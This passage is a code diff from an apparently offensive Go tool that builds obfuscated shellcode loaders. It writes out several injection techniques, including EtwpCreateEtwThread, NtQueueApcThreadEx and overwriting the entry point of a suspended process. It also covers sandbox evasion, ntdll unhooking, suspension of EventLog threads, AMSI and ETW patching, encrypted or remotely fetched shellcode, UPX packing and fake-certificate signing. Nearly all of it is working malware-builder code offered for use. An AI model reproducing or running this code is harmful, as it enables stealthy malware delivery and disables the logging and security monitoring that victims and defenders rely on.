+ {{.Vars.entrypointRVA}} := binary.LittleEndian.Uint32({{.Vars.entrypointOffsetPos}})
+ {{.Vars.entrypointAddress}} := {{.Vars.imageBaseValue}} + uint64({{.Vars.entrypointRVA}})
+
+ {{.Vars.WriteProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.entrypointAddress}}), uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), uintptr(len({{.Vars.shellcode}})), 0)
+
+ {{.Vars.ResumeThread}}.Call(uintptr({{.Vars.pi}}.Thread))
+
+ return nil
+}`
+
+ } else if exec_technique == "etwpcreateetwthread" { // next shellcode execution technique
+ imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
+ dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
+
+ Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["RtlCopyMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["EtwpCreateEtwThread"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtWaitForSingleObject"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r3"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["thread"] = utils.RandomString(utils.RandomInt(9,10))
+
+ execute_shellcode_func = `
+func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
+`
+
+ if (hashing) {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtWaitForSingleObject}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("NtWaitForSingleObject", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.RtlCopyMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("RtlCopyMemory", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.EtwpCreateEtwThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("EtwpCreateEtwThread", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+ {{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `)
+ {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
+ {{.Vars.NtWaitForSingleObject}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("NtWaitForSingleObject", str_obfs) + `)
+ {{.Vars.RtlCopyMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("RtlCopyMemory", str_obfs) + `)
+ {{.Vars.EtwpCreateEtwThread}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("EtwpCreateEtwThread", str_obfs) + `)
+`
+ }
+
+ execute_shellcode_func = execute_shellcode_func + `
+ var {{.Vars.addr}} uintptr
+ {{.Vars.regionsize}} := uintptr(len({{.Vars.shellcode}}))
+
+ {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtAllocateVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
+ if {{.Vars.r1}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.RtlCopyMemory}}.Call({{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), {{.Vars.regionsize}})
+
+ {{.Vars.oldProtect}} := windows.PAGE_READWRITE
+ {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r2}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.thread}}, _, {{.Vars.err}} := {{.Vars.EtwpCreateEtwThread}}.Call({{.Vars.addr}}, uintptr(0))
+ if {{.Vars.thread}} == 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.r3}}, _, {{.Vars.err}} := {{.Vars.NtWaitForSingleObject}}.Call({{.Vars.thread}}, uintptr(0), 0xFFFFFFFF)
+ if {{.Vars.r3}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ return nil
+}
+`
+
+ } else if exec_technique == "ntqueueapcthreadex" || exec_technique == "ntqueueapcthread" { // next shellcode execution technique
+ imports = utils.AppendSlice(imports, []string{"unsafe", "golang.org/x/sys/windows"})
+ dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
+
+ Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["GetCurrentThread"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtAllocateVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtProtectVirtualMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["RtlCopyMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtQueueApcThreadEx"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["addr"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["regionsize"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["oldProtect"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["thread"] = utils.RandomString(utils.RandomInt(9,10))
+
+ execute_shellcode_func = `
+func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
+`
+
+ if (hashing) {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.GetCurrentThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("GetCurrentThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtAllocateVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtAllocateVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtProtectVirtualMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtProtectVirtualMemory, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtQueueApcThreadEx}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("NtQueueApcThreadEx", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.RtlCopyMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("RtlCopyMemory", rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+
+ {{.Vars.GetCurrentThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("GetCurrentThread", str_obfs) + `)
+ {{.Vars.NtAllocateVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtAllocateVirtualMemory, str_obfs) + `)
+ {{.Vars.NtProtectVirtualMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtProtectVirtualMemory, str_obfs) + `)
+ {{.Vars.RtlCopyMemory}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("RtlCopyMemory", str_obfs) + `)
+ {{.Vars.NtQueueApcThreadEx}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr("NtQueueApcThreadEx", str_obfs) + `)
+`
+ }
+
+ execute_shellcode_func = execute_shellcode_func + `
+ const (
+ QUEUE_USER_APC_FLAGS_NONE = iota
+ QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
+ QUEUE_USER_APC_FLGAS_MAX_VALUE
+ )
+
+ var {{.Vars.addr}} uintptr
+ {{.Vars.regionsize}} := uintptr(len({{.Vars.shellcode}}))
+
+ {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.NtAllocateVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), 0, uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
+ if {{.Vars.r1}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.RtlCopyMemory}}.Call({{.Vars.addr}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), {{.Vars.regionsize}})
+
+ {{.Vars.oldProtect}} := windows.PAGE_READWRITE
+ {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.NtProtectVirtualMemory}}.Call(^uintptr(0), uintptr(unsafe.Pointer(&{{.Vars.addr}})), uintptr(unsafe.Pointer(&{{.Vars.regionsize}})), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&{{.Vars.oldProtect}})))
+ if {{.Vars.r2}} != 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.thread}}, _, _ := {{.Vars.GetCurrentThread}}.Call()
+
+ {{.Vars.NtQueueApcThreadEx}}.Call({{.Vars.thread}}, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr({{.Vars.addr}}), 0, 0, 0)
+
+ return nil
+}
+`
+ } else if (exec_technique == "no-rwx" || exec_technique == "norwx") {
+
+ image_dos_header_struct := `
+type IMAGE_DOS_HEADER struct {
+ E_lfanew uint32
+}
+`
+
+ image_nt_header_struct := `
+type IMAGE_NT_HEADER struct {
+ Signature uint32
+ FileHeader IMAGE_FILE_HEADER
+ OptionalHeader IMAGE_OPTIONAL_HEADER
+}
+`
+
+ image_file_header_struct := `
+type IMAGE_FILE_HEADER struct {
+ Machine uint16
+ NumberOfSections uint16
+ TimeDateStamp uint32
+ PointerToSymbolTable uint32
+ NumberOfSymbols uint32
+ SizeOfOptionalHeader uint16
+ Characteristics uint16
+}
+`
+
+ image_optional_header_struct := `
+type IMAGE_OPTIONAL_HEADER struct {
+ Magic uint16
+ MajorLinkerVersion uint8
+ MinorLinkerVersion uint8
+ SizeOfCode uint32
+ SizeOfInitializedData uint32
+ SizeOfUninitializedData uint32
+ AddressOfEntryPoint uint32
+ BaseOfCode uint32
+ ImageBase uint64
+ SectionAlignment uint32
+ FileAlignment uint32
+ MajorOperatingSystemVersion uint16
+ MinorOperatingSystemVersion uint16
+ MajorImageVersion uint16
+ MinorImageVersion uint16
+ MajorSubsystemVersion uint16
+ MinorSubsystemVersion uint16
+ Win32VersionValue uint32
+ SizeOfImage uint32
+ SizeOfHeaders uint32
+ CheckSum uint32
+ Subsystem uint16
+ DllCharacteristics uint16
+ SizeOfStackReserve uint64
+ SizeOfStackCommit uint64
+ SizeOfHeapReserve uint64
+ SizeOfHeapCommit uint64
+ LoaderFlags uint32
+ NumberOfRvaAndSizes uint32
+ DataDirectory [16]IMAGE_DATA_DIRECTORY
+}
+`
+
+ image_data_struct := `
+type IMAGE_DATA_DIRECTORY struct {
+ VirtualAddress uint32
+ Size uint32
+}
+`
+
+ exports = utils.AppendSlice(exports, []string{image_dos_header_struct, image_nt_header_struct, image_file_header_struct, image_optional_header_struct, image_data_struct})
+ imports = utils.AppendSlice(imports, []string{"encoding/binary", "unsafe", "golang.org/x/sys/windows"})
+ dlls_to_unhook = utils.AppendString(dlls_to_unhook, "C:\\Windows\\System32\\ntdll.dll")
+
+ Main.Vars["execute_shellcode_func"] = utils.RandomString(utils.RandomInt(10,12))
+ Main.Vars["kernel32"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntdll"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["CreateProcessW"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["WriteProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ReadProcessMemory"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ResumeThread"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["NtQueryInformationProcess"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pbi"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["si"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pi"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["cmd"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["info"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["returnLength"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["pebOffset"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["imageBase"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["headersBuffer"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["dosHeader"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["ntHeader"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["codeEntry"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r1"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r2"] = utils.RandomString(utils.RandomInt(9,10))
+ Main.Vars["r3"] = utils.RandomString(utils.RandomInt(9,10))
+
+ execute_shellcode_func = `
+func {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}} []byte) error {
+`
+
+ if (hashing) {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.CreateProcessW}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("CreateProcessW", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.WriteProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("WriteProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.ReadProcessMemory}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ReadProcessMemory", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.ResumeThread}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash("ResumeThread", rand_num)) + `, ` + ObfuscateStr("kernel32.dll", str_obfs) + `, {{.Vars.hashing_func}})
+ {{.Vars.NtQueryInformationProcess}}, _, _ := {{.Vars.get_func_ptr_func}}(` + ConvertStr(GenerateHash(NtQueryInformationProcess, rand_num)) + `, ` + ObfuscateStr("ntdll.dll", str_obfs) + `, {{.Vars.hashing_func}})
+`
+ } else {
+ execute_shellcode_func = execute_shellcode_func + `
+ {{.Vars.kernel32}} := windows.NewLazyDLL(` + ObfuscateStr("kernel32.dll", str_obfs) + `)
+ {{.Vars.ntdll}} := windows.NewLazyDLL(` + ObfuscateStr("ntdll.dll", str_obfs) + `)
+
+ {{.Vars.CreateProcessW}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("CreateProcessW", str_obfs) + `)
+ {{.Vars.WriteProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("WriteProcessMemory", str_obfs) + `)
+ {{.Vars.ReadProcessMemory}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ReadProcessMemory", str_obfs) + `)
+ {{.Vars.ResumeThread}} := {{.Vars.kernel32}}.NewProc(` + ObfuscateStr("ResumeThread", str_obfs) + `)
+ {{.Vars.NtQueryInformationProcess}} := {{.Vars.ntdll}}.NewProc(` + ObfuscateStr(NtQueryInformationProcess, str_obfs) + `)
+`
+ }
+
+ execute_shellcode_func = execute_shellcode_func + `
+ var {{.Vars.pbi}} windows.PROCESS_BASIC_INFORMATION
+ {{.Vars.si}} := &windows.StartupInfo{}
+ {{.Vars.pi}} := &windows.ProcessInformation{}
+
+ {{.Vars.cmd}}, {{.Vars.err}} := windows.UTF16PtrFromString(` + ObfuscateStr(process, str_obfs) + `)
+ if {{.Vars.err}} != nil {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.CreateProcessW}}.Call(0, uintptr(unsafe.Pointer({{.Vars.cmd}})), 0, 0, uintptr(0), windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer({{.Vars.si}})), uintptr(unsafe.Pointer({{.Vars.pi}})))
+
+ var {{.Vars.info}} int32
+ var {{.Vars.returnLength}} int32
+
+ {{.Vars.NtQueryInformationProcess}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.info}}), uintptr(unsafe.Pointer(&{{.Vars.pbi}})), uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})), uintptr(unsafe.Pointer(&{{.Vars.returnLength}})))
+
+ {{.Vars.pebOffset}} := uintptr(unsafe.Pointer({{.Vars.pbi}}.PebBaseAddress)) + 0x10
+ var {{.Vars.imageBase}} uintptr = 0
+
+ {{.Vars.r1}}, _, {{.Vars.err}} := {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), {{.Vars.pebOffset}}, uintptr(unsafe.Pointer(&{{.Vars.imageBase}})), 8, 0)
+ if {{.Vars.r1}} == 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.headersBuffer}} := make([]byte, 4096)
+
+ {{.Vars.r2}}, _, {{.Vars.err}} := {{.Vars.ReadProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), uintptr({{.Vars.imageBase}}), uintptr(unsafe.Pointer(&{{.Vars.headersBuffer}}[0])), 4096, 0)
+ if {{.Vars.r2}} == 0 {
+ return {{.Vars.err}}
+ }
+
+ var {{.Vars.dosHeader}} IMAGE_DOS_HEADER
+ {{.Vars.dosHeader}}.E_lfanew = binary.LittleEndian.Uint32({{.Vars.headersBuffer}}[60:64])
+ {{.Vars.ntHeader}} := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&{{.Vars.headersBuffer}}[0])) + uintptr({{.Vars.dosHeader}}.E_lfanew)))
+ {{.Vars.codeEntry}} := uintptr({{.Vars.ntHeader}}.OptionalHeader.AddressOfEntryPoint) + {{.Vars.imageBase}}
+
+ {{.Vars.r3}}, _, {{.Vars.err}} := {{.Vars.WriteProcessMemory}}.Call(uintptr({{.Vars.pi}}.Process), {{.Vars.codeEntry}}, uintptr(unsafe.Pointer(&{{.Vars.shellcode}}[0])), uintptr(len({{.Vars.shellcode}})), 0)
+ if {{.Vars.r3}} == 0 {
+ return {{.Vars.err}}
+ }
+
+ {{.Vars.ResumeThread}}.Call(uintptr({{.Vars.pi}}.Thread))
+
+ return nil
+}
+`
+ }
+
+ //
+ // shellcode execution techniques end here
+ // now the loader will be built by putting all the functions together
+ //
+
+ // append shellcode execution function
+ functions = utils.AppendString(functions, ParseTemplate(execute_shellcode_func, Main))
+
+ var main_func string
+
+ imports = utils.AppendString(imports, "log")
+
+ // check if loader must be a DLL to compile the code like so
+ if (format == "exe") {
+ // define main function
+ main_func = `
+func main(){
+ var {{.Vars.err}} error
+`
+ } else if (format == "dll") {
+ imports = utils.AppendString(imports, "C")
+
+ // define main function
+ main_func = `
+func main(){}
+
+//export ` + func_name + `
+func ` + func_name + `(){
+
+ var {{.Vars.err}} error
+`
+ }
+
+ // add sleep at first
+ if (sleep_time) {
+ main_func = main_func + `
+ {{.Vars.sleep_func}}()
+`
+ }
+
+ // add sandboxing functions
+ if (sandbox) {
+ main_func = main_func + `
+ if {{.Vars.sandbox_func}}() {
+ return
+ }
+`
+ }
+
+ if (unhook != "") {
+ main_func = main_func + `
+ {{.Vars.err}} = {{.Vars.unhook_func}}(` + ConvertSliceToStrFormat(dlls_to_unhook, str_obfs) + `)
+ if {{.Vars.err}} != nil {
+ log.Fatal({{.Vars.err}})
+ }
+`
+ }
+
+ // use Phant0m technique to suspend EventLog threads
+ if (phantom) {
+ main_func = main_func + `
+ {{.Vars.eventlog_pid}}, {{.Vars.err}} := {{.Vars.get_eventlog_pid_func}}()
+ if {{.Vars.err}} != nil {
+ log.Fatal({{.Vars.err}})
+ }
+
+ {{.Vars.err}} = {{.Vars.phantom_func}}({{.Vars.eventlog_pid}})
+ if {{.Vars.err}} != nil {
+ log.Fatal({{.Vars.err}})
+ }
+`
+ }
+
+ // enable ACG Guard
+ if (acg) {
+ main_func = main_func + `
+ {{.Vars.err}} = {{.Vars.acg_func}}()
+ if {{.Vars.err}} != nil {
+ fmt.Println({{.Vars.err}}.Error())
+ }
+`
+ }
+
+ // enable BlockDLLs
+ if (blockdlls) {
+ main_func = main_func + `
+ {{.Vars.err}} = {{.Vars.blockdlls_func}}()
+ if {{.Vars.err}} != nil {
+ fmt.Println({{.Vars.err}}.Error())
+ }
+`
+ }
+
+ // add AMSI patch
+ if (!noamsi) {
+ main_func = main_func + `
+ {{.Vars.err}} = {{.Vars.amsi_patch_func}}()
+ if {{.Vars.err}} != nil {
+ fmt.Println({{.Vars.err}}.Error())
+ }
+`
+ }
+
+ // add ETW patch
+ if (!noetw) {
+ main_func = main_func + `
+ {{.Vars.err}} = {{.Vars.etw_patch_func}}()
+ if {{.Vars.err}} != nil {
+ fmt.Println({{.Vars.err}}.Error())
+ }
+`
+ }
+
+ // convert shellcode to hex as it is easier to work with it
+ shellcode = []byte(hex.EncodeToString(shellcode))
+
+ var shellcode_def string
+
+ // check whether a encryption was used or not
+ if (strings.ToLower(encrypt) != "none") && (strings.ToLower(encrypt) != "") {
+ shellcode_def = `
+var {{.Vars.enc_shellcode}} []byte
+`
+
+ main_func = main_func + `
+ {{.Vars.enc_shellcode}}, _ = hex.DecodeString("` + string(shellcode) + `")
+`
+ } else {
+ shellcode_def = `
+var {{.Vars.shellcode}} []byte
+`
+
+ if ((!strings.HasPrefix(input_file, "http")) && (!errors.Is(input_err, os.ErrNotExist))) || (calc) {
+ main_func = main_func + `
+ {{.Vars.shellcode}}, _ = hex.DecodeString("` + string(shellcode) + `")
+`
+ } else {
+ main_func = main_func + `
+ {{.Vars.shellcode}}, {{.Vars.err}} = {{.Vars.get_shellcode_from_url_func}}(` + ObfuscateStr(input_file, str_obfs) + `)
+ if {{.Vars.err}} != nil {
+ log.Fatal({{.Vars.err}})
+ }
+`
+ }
+ }
+
+ // decrypt shellcode
+ if (strings.ToLower(encrypt) == "aes") {
+ main_func = main_func + `
+ {{.Vars.shellcode}}, {{.Vars.err}} := {{.Vars.aes_decrypt_func}}({{.Vars.enc_shellcode}}, ` + ConvertBytesToStrFormat(iv) + `, []byte("` + string(key) + `"))
+ if {{.Vars.err}} != nil {
+ log.Fatal({{.Vars.err}})
+ }
+`
+ } else if (strings.ToLower(encrypt) == "3des") {
+ main_func = main_func + `
+ {{.Vars.shellcode}}, {{.Vars.err}} := {{.Vars.tripledes_decrypt_func}}({{.Vars.enc_shellcode}}, []byte("` + string(key) + `"))
+ if {{.Vars.err}} != nil {
+ log.Fatal({{.Vars.err}})
+ }
+`
+ } else if (strings.ToLower(encrypt) == "rc4") {
+ main_func = main_func + `
+ {{.Vars.shellcode}}, {{.Vars.err}} := {{.Vars.rc4_decrypt_func}}({{.Vars.enc_shellcode}}, []byte("` + string(key) + `"))
+ if {{.Vars.err}} != nil {
+ log.Fatal({{.Vars.err}})
+ }
+`
+ } else if (strings.ToLower(encrypt) == "xor") {
+ main_func = main_func + `
+ {{.Vars.shellcode}} := {{.Vars.xor_func}}({{.Vars.enc_shellcode}}, []byte("` + string(key) + `"))
+`
+ }
+
+ if (sleep_time) {
+ if (utils.RandomInt(1, 2) == 1) {
+ main_func = main_func + `
+ {{.Vars.sleep_func}}()
+`
+ }
+ }
+
+ if (exec_technique == "processhollowing") {
+ main_func = main_func + `
+ {{.Vars.err}} = {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}}, ` + ObfuscateStr(process, str_obfs) + `, ` + strconv.FormatBool(blockdlls) + `)`
+ } else {
+ main_func = main_func + `
+ {{.Vars.err}} = {{.Vars.execute_shellcode_func}}({{.Vars.shellcode}})`
+ }
+
+ main_func = main_func + `
+ if {{.Vars.err}} != nil {
+ log.Fatal({{.Vars.err}})
+ }
+}
+`
+
+ // parse main function
+
+ if (!strings.HasPrefix(input_file, "http")) {
+ imports = utils.AppendString(imports, "encoding/hex")
+ }
+
+ exports = utils.AppendString(exports, ParseTemplate(shellcode_def, Main))
+ functions = utils.AppendString(functions, ParseTemplate(main_func, Main))
+
+ fmt.Println("[*] Obfuscating variables and functions...")
+ time.Sleep(100 * time.Millisecond)
+
+ if (format == "dll") {
+ fmt.Println("[*] The function of the DLL to execute shellcode is: " + func_name)
+ time.Sleep(100 * time.Millisecond)
+ fmt.Println(" > Execute the DLL like: rundll32.exe " + output_file + "," + func_name + "\n")
+ }
+
+ // write Golang code to file
+ err = WriteLoader("loader.go", imports, exports, functions)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ fmt.Println("[*] Compiling shellcode loader...")
+ time.Sleep(100 * time.Millisecond)
+
+ fmt.Println(" > Payload format is set to " + strings.ToUpper(format))
+ time.Sleep(100 * time.Millisecond)
+
+ if (verbose) {
+ fmt.Println(" > Using Golang compiler")
+ time.Sleep(100 * time.Millisecond)
+ }
+
+ // compile source code
+ err = CompileLoader(format, output_file, compress, arch)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ // compress loader using UPX
+ if (compress) {
+ _, err := exec.LookPath("upx")
+ if err == nil {
+ fmt.Println(" > Compressing " + output_file + " using UPX, this may take some time")
+ time.Sleep(100 * time.Millisecond)
+
+ err = exec.Command("upx", "--best", "--force", output_file).Run()
+ if err != nil {
+ fmt.Println("[-] An error has ocurred while compressing the loader, skipping this step")
+ }
+ } else {
+ fmt.Println(" > UPX not found. Skipping this step")
+ }
+ }
+
+ fi, err := os.Stat(output_file)
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Printf(" > %d bytes written to %s\n\n", fi.Size(), output_file)
+
+ // sign generated loader using osslsigncode
+ // use fake cert
+ if (domain != "") {
+ fmt.Println("[*] Signing loader using a fake cert (" + domain + ")")
+
+ password := utils.RandomString(utils.RandomInt(8, 12))
+
+ err = GenerateCerts(domain, password)
+ if err != nil {
+ fmt.Println(" > An error has ocurred while signing loader, so it won't be signed")
+ } else {
+ err = SignLoader(output_file, "signed_" + output_file, domain, password, verbose)
+ if err != nil {
+ fmt.Println(" > An error has ocurred while signing loader, so it won't be signed")
+ } else {
+ os.Remove(output_file) // remove original loader
+ err = os.Rename("signed_" + output_file, output_file) // rename signed loader
+ if err != nil {
+ log.Fatal(err)
+ }
+ }
+ }
+ fmt.Println()
+
+ os.Remove(domain + ".key")
+ os.Remove(domain + ".pem")
+ os.Remove(domain + ".pfx")
+ }
+
+ // use real certificate
+ if (cert != "") {
+ fmt.Println("[*] Signing loader using a valid cert (" + cert + ")")
+
+ password := utils.RandomString(utils.RandomInt(8, 12))
+
+ err = SignLoader(output_file, "signed_" + output_file, domain, password, verbose)
+ if err != nil {
+ fmt.Println("[-] An error has ocurred while signing loader, so it won't be signed")
+ } else {
+ os.Remove(output_file) // remove original loader
+ err = os.Rename("signed_" + output_file, output_file) // rename signed loader
+ if err != nil {
+ log.Fatal(err)
+ }
